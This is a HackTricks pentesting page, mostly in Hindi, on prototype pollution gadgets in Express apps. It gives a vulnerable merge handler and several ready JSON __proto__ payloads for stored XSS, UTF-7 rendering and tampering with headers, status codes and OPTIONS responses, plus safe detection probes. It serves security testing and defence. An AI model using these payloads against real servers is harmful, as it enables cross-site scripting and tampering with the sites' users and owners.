Express Prototype Pollution Gadgets

Support HackTricks

Serve XSS responses

अधिक जानकारी के लिए मूल शोध पर एक नज़र डालें

JSON सामग्री प्रकार को HTML में बदलें

एक Express ऐप में जो JSON सामग्री प्रकार प्रतिक्रिया का उपयोग कर रहा है और एक JSON को दर्शा रहा है:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

इन मामलों में XSS सामान्यतः JSON सामग्री प्रकार के साथ संभव नहीं है। हालाँकि, प्रोटोटाइप प्रदूषण के साथ हम Express को HTML प्रतिक्रिया देने के लिए भ्रमित कर सकते हैं। यह भेद्यता इस पर निर्भर करती है कि एप्लिकेशन res.send(obj) का उपयोग कर रहा है और एप्लिकेशन/json सामग्री प्रकार के साथ बॉडी पार्सर का उपयोग कर रहा है।

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body और _body प्रॉपर्टीज़ को polluting करके, Express को HTML कंटेंट टाइप सर्व करने और _body प्रॉपर्टी को दर्शाने के लिए मजबूर किया जा सकता है, जिससे स्टोर्ड XSS होता है।

Render UTF7

यह संभव है कि express UTF-7 कंटेंट को रेंडर करे:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Safe Scanning Techinques

JSON spaces

निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्थान देने के लिए है जो कार्यक्षमता को बाधित नहीं करेगा:

{"__proto__":{"json spaces": " "}}

फिर एक परावर्तित JSON इस तरह दिखेगा:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए मजबूर करेगा: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

यह CORS मॉड्यूल को स्थापित करने की आवश्यकता है

OPTIONS विधि

निम्नलिखित पेलोड के साथ, OPTIONS प्रतिक्रिया से एक विधि को छिपाना संभव है:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

स्थिति

निम्नलिखित PP पेलोड का उपयोग करके वापस किए गए स्थिति कोड को बदलना संभव है:

{"__proto__":{"status":510}}

Error

जब आप एक प्राइमिटिव जैसे कि स्ट्रिंग के साथ एक प्रोटोटाइप को असाइन करते हैं, तो यह कोई ऑपरेशन नहीं करता क्योंकि प्रोटोटाइप को एक ऑब्जेक्ट होना चाहिए। यदि आप Object.prototype को स्वयं एक प्रोटोटाइप ऑब्जेक्ट असाइन करने का प्रयास करते हैं, तो यह एक अपवाद फेंकेगा। हम इन दो व्यवहारों का उपयोग यह पता लगाने के लिए कर सकते हैं कि क्या प्रोटोटाइप प्रदूषण सफल रहा:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

जब एक एप्लिकेशन अपनी प्रतिक्रिया में एक ऑब्जेक्ट शामिल करता है, तो __proto__ के साथ एक असामान्य नाम वाला एट्रिब्यूट बनाना जानकारीपूर्ण हो सकता है। विशेष रूप से, यदि केवल असामान्य एट्रिब्यूट प्रतिक्रिया में लौटाया जाता है, तो यह एप्लिकेशन की कमजोरी को इंगित कर सकता है:

{"unusualName":"value","__proto__":"test"}

इसके अलावा, उन परिदृश्यों में जहां Lodash जैसी लाइब्रेरी का उपयोग किया जाता है, प्रोटोटाइप प्रदूषण (PP) के माध्यम से और सीधे ऑब्जेक्ट के अंदर एक प्रॉपर्टी सेट करना एक और निदान दृष्टिकोण प्रदान करता है। यदि ऐसी प्रॉपर्टी प्रतिक्रिया से छोड़ी जाती है, तो यह सुझाव देता है कि Lodash लक्ष्य ऑब्जेक्ट में प्रॉपर्टी के अस्तित्व की पुष्टि कर रहा है इससे पहले कि वह मर्ज करे:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Express में एक विकल्प है जो आपको क्वेरी स्ट्रिंग पैरामीटर से ऑब्जेक्ट बनाने की अनुमति देता है। आप निश्चित रूप से इसका उपयोग एक बग चेन में प्रोटोटाइप प्रदूषण भेद्यता का लाभ उठाने के लिए कर सकते हैं।

{"__proto__":{"allowDots":true}}

?foo.bar=baz नोड में एक ऑब्जेक्ट बनाता है।

संदर्भ

HackTricks का समर्थन करें

Last updated